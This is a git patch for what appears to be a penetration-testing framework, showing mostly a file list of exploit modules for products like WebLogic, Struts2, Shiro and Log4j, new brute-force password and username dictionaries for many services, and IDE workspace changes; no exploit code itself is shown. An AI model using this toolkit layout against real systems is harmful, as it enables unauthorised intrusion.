From 9a1239c3a9a22170e8e579dc717d50201de17712 Mon Sep 17 00:00:00 2001
From: chibd2000 <1352483315@qq.com>
Date: Tue, 7 Sep 2021 20:15:46 +0800
Subject: [PATCH] update: 2021.09.07 20.15
update: about cms exploit
---
.idea/workspace.xml | 797 +-
Common/Crawl.py | 6 +-
Exploit/BaseExploit.py | 61 -
Exploit/Cms/SangforEdr.py | 2 +-
Exploit/CmsExploit.py | 21 +-
Exploit/Service/dubbo.py | 90 +-
Exploit/Service/jdwp.py | 48 +-
Exploit/Service/log4j.py | 34 +-
Exploit/Web/IBM.py | 11 +-
Exploit/Web/JumpServer.py | 89 -
Exploit/Web/cmspro.py | 67 -
Exploit/Web/viewState.py | 92 -
Exploit/__init__.py | 60 +
.../__pycache__/BaseExploit.cpython-37.pyc | Bin 1711 -> 0 bytes
.../__pycache__/BaseExploit.cpython-38.pyc | Bin 2568 -> 0 bytes
Exploit/__pycache__/__init__.cpython-38.pyc | Bin 155 -> 2102 bytes
Micro.py | 36 +
README.md | 5 +-
Spider/BaiduSpider.py | 6 +-
Spider/BaseSpider.py | 113 -
Spider/BeianSpider.py | 5 +-
Spider/BingSpider.py | 6 +-
Spider/CtfrSpider.py | 6 +-
Spider/DnsBruteSpider.py | 6 +-
Spider/DnsDataSpider.py | 5 +-
Spider/GithubSpider.py | 5 +-
Spider/JavaScriptSpider.py | 5 +-
Spider/KSubDomainSpider.py | 2 +-
Spider/PortSpider.py | 33 +-
Spider/ThirdLib/Third.py | 36 -
Spider/ThirdLib/__init__.py | 24 +
.../ThirdLib/__pycache__/Third.cpython-38.pyc | Bin 1388 -> 0 bytes
.../__pycache__/__init__.cpython-38.pyc | Bin 154 -> 1000 bytes
Spider/__init__.py | 86 +
Spider/__pycache__/BaiduSpider.cpython-38.pyc | Bin 3972 -> 3998 bytes
Spider/__pycache__/BaseSpider.cpython-37.pyc | Bin 2410 -> 0 bytes
Spider/__pycache__/BaseSpider.cpython-38.pyc | Bin 3674 -> 0 bytes
Spider/__pycache__/BingSpider.cpython-38.pyc | Bin 3188 -> 3209 bytes
Spider/__pycache__/CtfrSpider.cpython-38.pyc | Bin 2047 -> 2073 bytes
.../__pycache__/DnsBruteSpider.cpython-38.pyc | Bin 1554 -> 1580 bytes
.../__pycache__/DnsDataSpider.cpython-38.pyc | Bin 2503 -> 2529 bytes
.../__pycache__/GithubSpider.cpython-38.pyc | Bin 3194 -> 3220 bytes
Spider/__pycache__/__init__.cpython-38.pyc | Bin 154 -> 3102 bytes
Test.py | 60 +-
batch.py | 81 +-
common/Crawl.py | 6 +-
common/crawl.py | 6 +
core/MyModuleLoader.py | 21 +
core/{hackrequest.py => MyRequest.py} | 0
core/Mydict.py | 6 +
core/Mylist.py | 6 +
...python-38.pyc => MyRequest.cpython-38.pyc} | Bin 3873 -> 3871 bytes
core/__pycache__/asynchttp.cpython-38.pyc | Bin 5667 -> 5667 bytes
core/asynchttp.py | 2 +-
core/asyncsocket.py | 7 +-
exploit/web/puyuan.py => core/dnslog.py | 2 +-
core/gui/pyqt-test.py | 6 +
core/utils/InformationProvider.py | 75 +
.../InformationProvider.cpython-38.pyc | Bin 0 -> 2443 bytes
dict/{ => cms}/body.txt | 0
dict/{ => cms}/cms_rule.txt | 0
dict/{ => cms}/data.json | 0
dict/{ => cms}/head.txt | 0
dict/{ => cms}/robots.txt | 0
dict/information/activemq_passwords.txt | 55 +
dict/information/activemq_usernames.txt | 7 +
dict/information/db2_passwords.txt | 54 +
dict/information/db2_usernames.txt | 9 +
dict/information/ftp_passwords.txt | 54 +
dict/information/ftp_usernames.txt | 9 +
dict/information/mysql_passwords.txt | 54 +
dict/information/mysql_usernames.txt | 8 +
dict/information/oracle_passwords.txt | 53 +
dict/information/oracle_usernames.txt | 9 +
dict/information/passwords.txt | 8256 +++++++++++++
dict/information/phpmyadmin_passwords.txt | 53 +
dict/information/phpmyadmin_usernames.txt | 12 +
dict/information/pop3_passwords.txt | 47 +
dict/information/pop3_usernames.txt | 7 +
dict/information/rabbitmq_passwords.txt | 54 +
dict/information/rabbitmq_usernames.txt | 11 +
dict/information/redis_passwords.txt | 34 +
dict/information/rsync_passwords.txt | 67 +
dict/information/rsync_usernames.txt | 6 +
dict/information/smb_passwords.txt | 59 +
dict/information/smb_usernames.txt | 6 +
dict/information/smtp_passwords.txt | 47 +
dict/information/smtp_usernames.txt | 8 +
dict/information/sqlserver_passwords.txt | 55 +
dict/information/sqlserver_usernames.txt | 8 +
dict/information/ssh_passwords.txt | 41 +
dict/information/ssh_usernames.txt | 7 +
dict/information/sybase_passwords.txt | 72 +
dict/information/sybase_usernames.txt | 20 +
dict/information/telnet_passwords.txt | 67 +
dict/information/telnet_usernames.txt | 7 +
dict/information/tomcat_passwords.txt | 53 +
dict/information/tomcat_usernames.txt | 10 +
dict/information/user_agents.txt | 2075 ++++
dict/information/usernames.txt | 375 +
dict/information/web_content_key.txt | 92 +
dict/information/weblogic_passwords.txt | 5 +
dict/information/weblogic_usernames.txt | 1 +
dict/information/webshell_names.txt | 0
dict/information/zabbix_passwords.txt | 52 +
dict/information/zabbix_usernames.txt | 6 +
exploit/BaseExploit.py | 61 -
exploit/CmsExploit.py | 21 +-
exploit/SQLExploit.py | 11 +-
exploit/ServiceExploit.py | 441 +-
exploit/_AliveScan.py | 4 +-
exploit/__init__.py | 60 +
.../__pycache__/BaseExploit.cpython-37.pyc | Bin 1711 -> 0 bytes
.../__pycache__/BaseExploit.cpython-38.pyc | Bin 2568 -> 0 bytes
exploit/__pycache__/CmsExploit.cpython-38.pyc | Bin 847 -> 904 bytes
exploit/__pycache__/SQLExploit.cpython-38.pyc | Bin 13720 -> 13713 bytes
.../__pycache__/ServiceExploit.cpython-38.pyc | Bin 1469 -> 30745 bytes
exploit/__pycache__/__init__.cpython-38.pyc | Bin 155 -> 2102 bytes
exploit/__pycache__/public.cpython-38.pyc | Bin 0 -> 652 bytes
exploit/cms/SangforEdr.py | 2 +-
exploit/public.py | 19 +
.../service/__pycache__/base.cpython-38.pyc | Bin 0 -> 215 bytes
.../service/__pycache__/dubbo.cpython-38.pyc | Bin 0 -> 2458 bytes
.../service/__pycache__/ftp.cpython-38.pyc | Bin 0 -> 536 bytes
.../service/__pycache__/jdwp.cpython-38.pyc | Bin 0 -> 632 bytes
.../service/__pycache__/log4j.cpython-38.pyc | Bin 0 -> 647 bytes
.../__pycache__/memcache.cpython-38.pyc | Bin 0 -> 775 bytes
.../__pycache__/mongodb.cpython-38.pyc | Bin 0 -> 855 bytes
.../service/__pycache__/mssql.cpython-38.pyc | Bin 0 -> 893 bytes
.../service/__pycache__/mysql.cpython-38.pyc | Bin 0 -> 767 bytes
.../__pycache__/postgresql.cpython-38.pyc | Bin 0 -> 780 bytes
.../service/__pycache__/rdp.cpython-38.pyc | Bin 0 -> 761 bytes
.../service/__pycache__/redis.cpython-38.pyc | Bin 0 -> 2094 bytes
.../service/__pycache__/rmi.cpython-38.pyc | Bin 0 -> 11110 bytes
.../service/__pycache__/rsync.cpython-38.pyc | Bin 0 -> 1303 bytes
.../service/__pycache__/smb.cpython-38.pyc | Bin 0 -> 813 bytes
.../service/__pycache__/ssh.cpython-38.pyc | Bin 0 -> 1491 bytes
.../service/__pycache__/vnc.cpython-38.pyc | Bin 0 -> 781 bytes
.../__pycache__/zookeeper.cpython-38.pyc | Bin 0 -> 793 bytes
exploit/service/docker.py | 27 -
exploit/service/dubbo.py | 90 +-
exploit/service/elasticsearch.py | 23 -
exploit/service/ftp.py | 21 +-
exploit/service/jdwp.py | 48 +-
exploit/service/log4j.py | 34 +-
exploit/service/memcache.py | 16 +-
exploit/service/mongodb.py | 14 +-
exploit/service/mssql.py | 30 +-
exploit/service/mysql.py | 28 +-
exploit/service/postgresql.py | 27 +-
exploit/service/rdp.py | 25 +
exploit/service/redis.py | 58 +-
exploit/service/rmi.py | 168 +-
exploit/service/rsync.py | 96 +-
exploit/service/smb.py | 32 +-
exploit/service/ssh.py | 50 +-
exploit/service/vnc.py | 25 +
exploit/service/zookeeper.py | 16 +-
exploit/web/BackupFile.py | 120 -
exploit/web/CVE-2017-12615.py | 126 -
exploit/web/Editor.py | 118 -
.../Editor.py => exploit/web/Editor_high.py | 0
exploit/web/IBM.py | 11 +-
exploit/web/Jetspeed.py | 4 +
exploit/web/JumpServer.py | 89 -
exploit/web/Mail.py | 96 -
.../Web/Mail.py => exploit/web/Mail_medium.py | 0
exploit/web/Nginx.py | 145 -
exploit/web/activemq_high.py | 3 +
exploit/web/atlassiancloud_high.py | 35 +
exploit/web/axis2.py | 87 -
.../Web/axis2.py => exploit/web/axis2_high.py | 0
.../web/backup_high.py | 0
exploit/web/baota.py | 87 -
.../Web/baota.py => exploit/web/baota_high.py | 0
exploit/web/cmspro.py | 67 -
exploit/web/codeLeak.py | 97 -
.../web/codeLeak_high.py | 0
.../web/{confluence.py => confluence_high.py} | 0
.../couchdb.py => web/couchdb_high.py} | 5 +-
exploit/web/docker_high.py | 19 +
exploit/web/easyConnect.py | 92 -
.../web/easyConnect_high.py | 0
exploit/web/emobile.py | 93 -
.../emobile.py => exploit/web/emobile_high.py | 0
.../{service/hadoop.py => web/hadoop_high.py} | 13 +-
exploit/web/hashicorp.py | 5 +
exploit/web/jenkins.py | 5 -
.../jenkins.py => exploit/web/jenkins_high.py | 0
exploit/web/jira.py | 5 -
exploit/web/{yapi.py => jumpserver_high.py} | 17 +-
.../jupyter.py => web/jupyter_high.py} | 0
exploit/web/kibana_high.py | 10 +
.../web/nginxParse_high.py | 0
exploit/web/phpstudy.py | 74 -
.../web/phpstudy_high.py | 0
.../Puyuan.py => exploit/web/puyuan_high.py | 0
exploit/web/{ruoyi.py => ruoyi_medium.py} | 2 +-
exploit/web/sharepoint.py | 67 -
.../web/sharepoint_high.py | 0
exploit/web/shiro.py | 85 -
.../Web/shiro.py => exploit/web/shiro_high.py | 0
exploit/web/struts2.py | 202 -
.../struts2.py => exploit/web/struts2_high.py | 0
exploit/web/swagger.py | 93 -
.../web/swagger_medium.py | 0
exploit/web/thinkphp.py | 236 -
.../web/thinkphp_high.py | 0
.../web/tomcatPutFile_high.py | 0
.../vCenter.py => exploit/web/vCenter_high.py | 0
exploit/web/viewState.py | 92 -
.../web/{vCenter.py => viewState_medium.py} | 1 +
.../{service/webdav.py => web/webdav_high.py} | 0
exploit/web/weblogic.py | 10229 ----------------
.../web/weblogic_high.py | 0
.../Web/yapi.py => exploit/web/yapi_high.py | 0
exploit/web/yongyou.py | 109 -
.../yongyou.py => exploit/web/yongyou_high.py | 0
exploit/web/zentao.py | 108 -
.../zentao.py => exploit/web/zentao_high.py | 10 +-
fofatest.py | 25 +
proton.com.xlsx | Bin 0 -> 12414 bytes
spider/AliveSpider.py | 10 +-
spider/BaiduSpider.py | 6 +-
spider/BaseSpider.py | 113 -
spider/BeianSpider.py | 5 +-
spider/BingSpider.py | 6 +-
spider/CtfrSpider.py | 6 +-
spider/DnsBruteSpider.py | 6 +-
spider/DnsDataSpider.py | 5 +-
spider/FriendChainsSpider.py | 7 +-
spider/GithubSpider.py | 5 +-
spider/JavaScriptSpider.py | 5 +-
spider/KSubDomainSpider.py | 2 +-
spider/NetSpaceSpider.py | 10 +-
spider/ParamLinkSpider.py | 3 +-
spider/PortSpider.py | 33 +-
spider/PortSpiderOld.py | 2 +-
spider/SSLSpider.py | 5 +-
spider/StructSpider.py | 5 +-
spider/__init__.py | 86 +
spider/__pycache__/AliveSpider.cpython-38.pyc | Bin 5321 -> 5402 bytes
spider/__pycache__/BaiduSpider.cpython-38.pyc | Bin 3972 -> 3998 bytes
spider/__pycache__/BaseSpider.cpython-37.pyc | Bin 2410 -> 0 bytes
spider/__pycache__/BaseSpider.cpython-38.pyc | Bin 3674 -> 0 bytes
spider/__pycache__/BingSpider.cpython-38.pyc | Bin 3188 -> 3209 bytes
spider/__pycache__/CtfrSpider.cpython-38.pyc | Bin 2047 -> 2073 bytes
.../__pycache__/DnsBruteSpider.cpython-38.pyc | Bin 1554 -> 1580 bytes
.../__pycache__/DnsDataSpider.cpython-38.pyc | Bin 2503 -> 2529 bytes
.../FriendChainsSpider.cpython-38.pyc | Bin 2202 -> 2233 bytes
.../__pycache__/GithubSpider.cpython-38.pyc | Bin 3194 -> 3220 bytes
.../JavaScriptSpider.cpython-38.pyc | Bin 5321 -> 5347 bytes
.../__pycache__/NetSpaceSpider.cpython-38.pyc | Bin 12722 -> 12746 bytes
spider/__pycache__/PortSpider.cpython-38.pyc | Bin 10278 -> 9950 bytes
.../__pycache__/StructSpider.cpython-38.pyc | Bin 12005 -> 12031 bytes
spider/__pycache__/__init__.cpython-38.pyc | Bin 154 -> 3102 bytes
.../ip2domainSpider.cpython-38.pyc | Bin 2974 -> 3000 bytes
spider/__pycache__/public.cpython-38.pyc | Bin 0 -> 950 bytes
spider/ip2domainSpider.py | 23 +-
spider/public.py | 34 +
spider/thirdLib/__init__.py | 24 +
.../__pycache__/__init__.cpython-38.pyc | Bin 154 -> 1000 bytes
.../asyncalienvault.cpython-38.pyc | Bin 1588 -> 1627 bytes
.../asyncbinaryedge.cpython-38.pyc | Bin 1695 -> 1734 bytes
.../__pycache__/asyncbufferrun.cpython-38.pyc | Bin 3084 -> 3122 bytes
.../__pycache__/asynccebaidu.cpython-38.pyc | Bin 1684 -> 1722 bytes
.../asynccertspotter.cpython-38.pyc | Bin 1692 -> 1731 bytes
.../__pycache__/asyncchaziyu.cpython-38.pyc | Bin 1695 -> 1733 bytes
.../__pycache__/asyncentrust.cpython-38.pyc | Bin 1613 -> 1652 bytes
.../__pycache__/asyncfht.cpython-38.pyc | Bin 1567 -> 1605 bytes
.../asynchacktarget.cpython-38.pyc | Bin 1769 -> 1807 bytes
.../__pycache__/asyncjldc.cpython-38.pyc | Bin 1472 -> 1510 bytes
.../__pycache__/asyncqianxun.cpython-38.pyc | Bin 1925 -> 1963 bytes
.../__pycache__/asyncrapiddns.cpython-38.pyc | Bin 1576 -> 1615 bytes
.../asyncsitedossier.cpython-38.pyc | Bin 1580 -> 1619 bytes
.../__pycache__/asyncsublistr3.cpython-38.pyc | Bin 1642 -> 1680 bytes
.../asyncthreatbook.cpython-38.pyc | Bin 1551 -> 1590 bytes
.../asyncvirustotal.cpython-38.pyc | Bin 1809 -> 1847 bytes
.../__pycache__/asyncximcx.cpython-38.pyc | Bin 1573 -> 1612 bytes
.../__pycache__/censys.cpython-38.pyc | Bin 1380 -> 1419 bytes
.../__pycache__/chinaz.cpython-38.pyc | Bin 1234 -> 1273 bytes
.../__pycache__/public.cpython-38.pyc | Bin 0 -> 664 bytes
.../__pycache__/securitytrails.cpython-38.pyc | Bin 1451 -> 1490 bytes
.../thirdLib/__pycache__/third.cpython-38.pyc | Bin 1388 -> 0 bytes
spider/thirdLib/asyncalienvault.py | 5 +-
spider/thirdLib/asyncbinaryedge.py | 6 +-
spider/thirdLib/asyncbufferrun.py | 5 +-
spider/thirdLib/asynccebaidu.py | 5 +-
spider/thirdLib/asynccertspotter.py | 5 +-
spider/thirdLib/asyncchaziyu.py | 5 +-
spider/thirdLib/asyncentrust.py | 5 +-
spider/thirdLib/asyncfht.py | 5 +-
spider/thirdLib/asynchacktarget.py | 5 +-
spider/thirdLib/asyncjldc.py | 5 +-
spider/thirdLib/asyncqianxun.py | 5 +-
spider/thirdLib/asyncrapiddns.py | 5 +-
spider/thirdLib/asyncsitedossier.py | 5 +-
spider/thirdLib/asyncsublistr3.py | 5 +-
spider/thirdLib/asyncthreatbook.py | 5 +-
spider/thirdLib/asyncvirustotal.py | 5 +-
spider/thirdLib/asyncximcx.py | 5 +-
spider/thirdLib/censys.py | 5 +-
spider/thirdLib/chinaz.py | 5 +-
spider/thirdLib/public.py | 19 +
spider/thirdLib/securitytrails.py | 5 +-
spider/thirdLib/third.py | 36 -
tqdm_Test.py | 3 +-
ttttssl.py | 5 -
308 files changed, 14676 insertions(+), 13978 deletions(-)
delete mode 100644 Exploit/BaseExploit.py
delete mode 100644 Exploit/Web/JumpServer.py
delete mode 100644 Exploit/Web/cmspro.py
delete mode 100644 Exploit/Web/viewState.py
delete mode 100644 Exploit/__pycache__/BaseExploit.cpython-37.pyc
delete mode 100644 Exploit/__pycache__/BaseExploit.cpython-38.pyc
create mode 100644 Micro.py
delete mode 100644 Spider/BaseSpider.py
delete mode 100644 Spider/ThirdLib/Third.py
delete mode 100644 Spider/ThirdLib/__pycache__/Third.cpython-38.pyc
delete mode 100644 Spider/__pycache__/BaseSpider.cpython-37.pyc
delete mode 100644 Spider/__pycache__/BaseSpider.cpython-38.pyc
create mode 100644 common/crawl.py
create mode 100644 core/MyModuleLoader.py
rename core/{hackrequest.py => MyRequest.py} (100%)
create mode 100644 core/Mydict.py
create mode 100644 core/Mylist.py
rename core/__pycache__/{hackrequest.cpython-38.pyc => MyRequest.cpython-38.pyc} (98%)
rename exploit/web/puyuan.py => core/dnslog.py (60%)
create mode 100644 core/gui/pyqt-test.py
create mode 100644 core/utils/InformationProvider.py
create mode 100644 core/utils/__pycache__/InformationProvider.cpython-38.pyc
rename dict/{ => cms}/body.txt (100%)
rename dict/{ => cms}/cms_rule.txt (100%)
rename dict/{ => cms}/data.json (100%)
rename dict/{ => cms}/head.txt (100%)
rename dict/{ => cms}/robots.txt (100%)
create mode 100644 dict/information/activemq_passwords.txt
create mode 100644 dict/information/activemq_usernames.txt
create mode 100644 dict/information/db2_passwords.txt
create mode 100644 dict/information/db2_usernames.txt
create mode 100644 dict/information/ftp_passwords.txt
create mode 100644 dict/information/ftp_usernames.txt
create mode 100644 dict/information/mysql_passwords.txt
create mode 100644 dict/information/mysql_usernames.txt
create mode 100644 dict/information/oracle_passwords.txt
create mode 100644 dict/information/oracle_usernames.txt
create mode 100644 dict/information/passwords.txt
create mode 100644 dict/information/phpmyadmin_passwords.txt
create mode 100644 dict/information/phpmyadmin_usernames.txt
create mode 100644 dict/information/pop3_passwords.txt
create mode 100644 dict/information/pop3_usernames.txt
create mode 100644 dict/information/rabbitmq_passwords.txt
create mode 100644 dict/information/rabbitmq_usernames.txt
create mode 100644 dict/information/redis_passwords.txt
create mode 100644 dict/information/rsync_passwords.txt
create mode 100644 dict/information/rsync_usernames.txt
create mode 100644 dict/information/smb_passwords.txt
create mode 100644 dict/information/smb_usernames.txt
create mode 100644 dict/information/smtp_passwords.txt
create mode 100644 dict/information/smtp_usernames.txt
create mode 100644 dict/information/sqlserver_passwords.txt
create mode 100644 dict/information/sqlserver_usernames.txt
create mode 100644 dict/information/ssh_passwords.txt
create mode 100644 dict/information/ssh_usernames.txt
create mode 100644 dict/information/sybase_passwords.txt
create mode 100644 dict/information/sybase_usernames.txt
create mode 100644 dict/information/telnet_passwords.txt
create mode 100644 dict/information/telnet_usernames.txt
create mode 100644 dict/information/tomcat_passwords.txt
create mode 100644 dict/information/tomcat_usernames.txt
create mode 100644 dict/information/user_agents.txt
create mode 100644 dict/information/usernames.txt
create mode 100644 dict/information/web_content_key.txt
create mode 100644 dict/information/weblogic_passwords.txt
create mode 100644 dict/information/weblogic_usernames.txt
create mode 100644 dict/information/webshell_names.txt
create mode 100644 dict/information/zabbix_passwords.txt
create mode 100644 dict/information/zabbix_usernames.txt
delete mode 100644 exploit/BaseExploit.py
delete mode 100644 exploit/__pycache__/BaseExploit.cpython-37.pyc
delete mode 100644 exploit/__pycache__/BaseExploit.cpython-38.pyc
create mode 100644 exploit/__pycache__/public.cpython-38.pyc
create mode 100644 exploit/public.py
create mode 100644 exploit/service/__pycache__/base.cpython-38.pyc
create mode 100644 exploit/service/__pycache__/dubbo.cpython-38.pyc
create mode 100644 exploit/service/__pycache__/ftp.cpython-38.pyc
create mode 100644 exploit/service/__pycache__/jdwp.cpython-38.pyc
create mode 100644 exploit/service/__pycache__/log4j.cpython-38.pyc
create mode 100644 exploit/service/__pycache__/memcache.cpython-38.pyc
create mode 100644 exploit/service/__pycache__/mongodb.cpython-38.pyc
create mode 100644 exploit/service/__pycache__/mssql.cpython-38.pyc
create mode 100644 exploit/service/__pycache__/mysql.cpython-38.pyc
create mode 100644 exploit/service/__pycache__/postgresql.cpython-38.pyc
create mode 100644 exploit/service/__pycache__/rdp.cpython-38.pyc
create mode 100644 exploit/service/__pycache__/redis.cpython-38.pyc
create mode 100644 exploit/service/__pycache__/rmi.cpython-38.pyc
create mode 100644 exploit/service/__pycache__/rsync.cpython-38.pyc
create mode 100644 exploit/service/__pycache__/smb.cpython-38.pyc
create mode 100644 exploit/service/__pycache__/ssh.cpython-38.pyc
create mode 100644 exploit/service/__pycache__/vnc.cpython-38.pyc
create mode 100644 exploit/service/__pycache__/zookeeper.cpython-38.pyc
delete mode 100644 exploit/service/docker.py
delete mode 100644 exploit/service/elasticsearch.py
delete mode 100644 exploit/web/BackupFile.py
delete mode 100644 exploit/web/CVE-2017-12615.py
delete mode 100644 exploit/web/Editor.py
rename Exploit/Web/Editor.py => exploit/web/Editor_high.py (100%)
create mode 100644 exploit/web/Jetspeed.py
delete mode 100644 exploit/web/JumpServer.py
delete mode 100644 exploit/web/Mail.py
rename Exploit/Web/Mail.py => exploit/web/Mail_medium.py (100%)
delete mode 100644 exploit/web/Nginx.py
create mode 100644 exploit/web/activemq_high.py
create mode 100644 exploit/web/atlassiancloud_high.py
delete mode 100644 exploit/web/axis2.py
rename Exploit/Web/axis2.py => exploit/web/axis2_high.py (100%)
rename Exploit/Web/BackupFile.py => exploit/web/backup_high.py (100%)
delete mode 100644 exploit/web/baota.py
rename Exploit/Web/baota.py => exploit/web/baota_high.py (100%)
delete mode 100644 exploit/web/cmspro.py
delete mode 100644 exploit/web/codeLeak.py
rename Exploit/Web/codeLeak.py => exploit/web/codeLeak_high.py (100%)
rename exploit/web/{confluence.py => confluence_high.py} (100%)
rename exploit/{service/couchdb.py => web/couchdb_high.py} (92%)
create mode 100644 exploit/web/docker_high.py
delete mode 100644 exploit/web/easyConnect.py
rename Exploit/Web/easyConnect.py => exploit/web/easyConnect_high.py (100%)
delete mode 100644 exploit/web/emobile.py
rename Exploit/Web/emobile.py => exploit/web/emobile_high.py (100%)
rename exploit/{service/hadoop.py => web/hadoop_high.py} (61%)
create mode 100644 exploit/web/hashicorp.py
delete mode 100644 exploit/web/jenkins.py
rename Exploit/Web/jenkins.py => exploit/web/jenkins_high.py (100%)
delete mode 100644 exploit/web/jira.py
rename exploit/web/{yapi.py => jumpserver_high.py} (89%)
rename exploit/{service/jupyter.py => web/jupyter_high.py} (100%)
create mode 100644 exploit/web/kibana_high.py
rename Exploit/Web/Nginx.py => exploit/web/nginxParse_high.py (100%)
delete mode 100644 exploit/web/phpstudy.py
rename Exploit/Web/phpstudy.py => exploit/web/phpstudy_high.py (100%)
rename Exploit/Web/Puyuan.py => exploit/web/puyuan_high.py (100%)
rename exploit/web/{ruoyi.py => ruoyi_medium.py} (68%)
delete mode 100644 exploit/web/sharepoint.py
rename Exploit/Web/SharePoint.py => exploit/web/sharepoint_high.py (100%)
delete mode 100644 exploit/web/shiro.py
rename Exploit/Web/shiro.py => exploit/web/shiro_high.py (100%)
delete mode 100644 exploit/web/struts2.py
rename Exploit/Web/struts2.py => exploit/web/struts2_high.py (100%)
delete mode 100644 exploit/web/swagger.py
rename Exploit/Web/swagger.py => exploit/web/swagger_medium.py (100%)
delete mode 100644 exploit/web/thinkphp.py
rename Exploit/Web/thinkphp.py => exploit/web/thinkphp_high.py (100%)
rename Exploit/Web/CVE-2017-12615.py => exploit/web/tomcatPutFile_high.py (100%)
rename Exploit/Web/vCenter.py => exploit/web/vCenter_high.py (100%)
delete mode 100644 exploit/web/viewState.py
rename exploit/web/{vCenter.py => viewState_medium.py} (99%)
rename exploit/{service/webdav.py => web/webdav_high.py} (100%)
delete mode 100644 exploit/web/weblogic.py
rename Exploit/Web/weblogic.py => exploit/web/weblogic_high.py (100%)
rename Exploit/Web/yapi.py => exploit/web/yapi_high.py (100%)
delete mode 100644 exploit/web/yongyou.py
rename Exploit/Web/yongyou.py => exploit/web/yongyou_high.py (100%)
delete mode 100644 exploit/web/zentao.py
rename Exploit/Web/zentao.py => exploit/web/zentao_high.py (94%)
create mode 100644 fofatest.py
create mode 100644 proton.com.xlsx
delete mode 100644 spider/BaseSpider.py
delete mode 100644 spider/__pycache__/BaseSpider.cpython-37.pyc
delete mode 100644 spider/__pycache__/BaseSpider.cpython-38.pyc
create mode 100644 spider/__pycache__/public.cpython-38.pyc
create mode 100644 spider/public.py
create mode 100644 spider/thirdLib/__pycache__/public.cpython-38.pyc
delete mode 100644 spider/thirdLib/__pycache__/third.cpython-38.pyc
create mode 100644 spider/thirdLib/public.py
delete mode 100644 spider/thirdLib/third.py
diff --git a/.idea/workspace.xml b/.idea/workspace.xml
index 1629a14..e8792e0 100644
--- a/.idea/workspace.xml
+++ b/.idea/workspace.xml
@@ -15,36 +15,20 @@
-
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
-
@@ -52,54 +36,77 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
+
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
@@ -116,7 +123,110 @@
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
- vendorproductname
- sslport
- =====
- protocol
- 'protocol'
- probestring
- 'probe'
- sd.connect((ipad
- print
- SOCKET_READ_BUFFERSIZE
- 0.7
- matches
- matches'
- 'matches'
- dubbo
- clearTaskList
- 4433
- rsqlserver
- int(
- redis
- versioninfo
- ServiceExploit
- ipPortList
- pPortLis
+ 小洲
+ web
param
- title
- response
+ ServiceScan
+ PortService
+ App_Id
+ field
+ sangfor
+ uauth
+ asyncio.gath
+ cConfig(level=logging.IN
+ basicConfig
+ spider.BaseSpider
+ BeianSpider
+ exploit.BaseExploit
+ __slots__
+ slots
+ _timeout
+ abs_path
+ base_events
+ find
+ tqdm
+ ConnectionResetError
+ proto
http
- ncFetcher.fetcha
- log
+ importlib
+ __import__
+ __import
+ from core.hackrequest import *
+ ment -p/--scanport: conflicting option
D:\ALL\myscan
@@ -172,57 +282,57 @@
@@ -238,7 +348,6 @@
-
@@ -249,12 +358,12 @@
-
+
-
+
@@ -275,13 +384,13 @@
-
-
+
+
@@ -289,20 +398,23 @@
+
+
+
+
+
-
-
-
-
+
+
+
-
@@ -317,7 +429,7 @@
-
+
@@ -384,7 +496,7 @@
-
+
@@ -392,12 +504,12 @@
-
+
-
+
@@ -406,7 +518,7 @@
-
+
@@ -414,12 +526,12 @@
-
+
-
+
@@ -429,19 +541,19 @@
-
-
+
+
-
-
-
-
+
+
+
+
@@ -478,21 +590,26 @@
+
+
+
+
-
+
+
-
+
-
+
@@ -574,343 +691,437 @@
-
-
-
-
-
-
-
+
-
+
+
+
-
-
-
-
+
+
+
+ Python
+ builtins.ConnectionResetError
+
+ OSError
+ Exception
+ object
+ BaseException
+ builtins.ConnectionResetError
+ builtins.ConnectionError
+
+
+
+
+
+
+ All
-
-
-
-
+
-
-
-
-
-
+
+
-
-
+
+
+
+ Python
+ ConnectionResetError
+
+ OSError
+ Exception
+ ConnectionError
+ object
+ BaseException
+ ConnectionResetError
+
+
+
+
+
+
+ All
+
+
-
+
-
-
+
+
-
+
-
+
-
-
+
+
-
+
-
+
+
+
-
+
-
-
-
-
-
+
+
-
+
-
-
+
+
-
+
-
+
-
-
+
+
-
+
-
-
+
+
-
+
-
+
-
-
+
+
-
+
-
+
-
-
+
+
-
-
+
+
-
+
-
-
+
+
+
+
+
-
+
-
-
-
-
-
+
+
-
+
-
-
+
+
-
+
-
-
+
+
-
+
-
-
+
+
-
+
-
+
+
+
-
+
-
-
+
+
-
+
-
-
+
+
+
+
+
-
-
+
+
-
-
-
-
+
-
-
+
+
-
+
-
+
-
-
+
+
-
-
-
-
-
-
-
-
-
-
+
-
-
-
-
-
+
+
-
-
-
-
+
-
-
+
+
-
+
-
-
+
+
-
-
-
-
+
+
+
+
+
-
+
-
-
+
+
-
-
-
-
-
+
+
-
+
+
+
+
+
-
+
+
+
+
+
+
+
+
+
+
+
+
-
+
+
+
+
+
-
+
-
-
+
+
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
-
+
-
-
+
+
-
+
-
-
+
+
-
+
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
-
-
+
+
-
+
-
+
-
-
+
+
-
+
-
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
-
-
+
+
+
+
+
diff --git a/Common/Crawl.py b/Common/Crawl.py
index e755f74..93c2a30 100644
--- a/Common/Crawl.py
+++ b/Common/Crawl.py
@@ -1,4 +1,6 @@
-
+# coding=utf-8
+# @Author : zpchcbd HG team
+# @Time : 2021-09-06 22:14
class Crawl(object):
- pass
+ pass
\ No newline at end of file
diff --git a/Exploit/BaseExploit.py b/Exploit/BaseExploit.py
deleted file mode 100644
index b5231ae..0000000
--- a/Exploit/BaseExploit.py
+++ /dev/null
@@ -1,61 +0,0 @@
-# coding=utf-8
-
-import requests
-import logging
-from abc import abstractmethod, ABCMeta
-import re
-import chardet
-import os
-import openpyxl
-import asyncio
-from common.tools import *
-
-requests.packages.urllib3.disable_warnings()
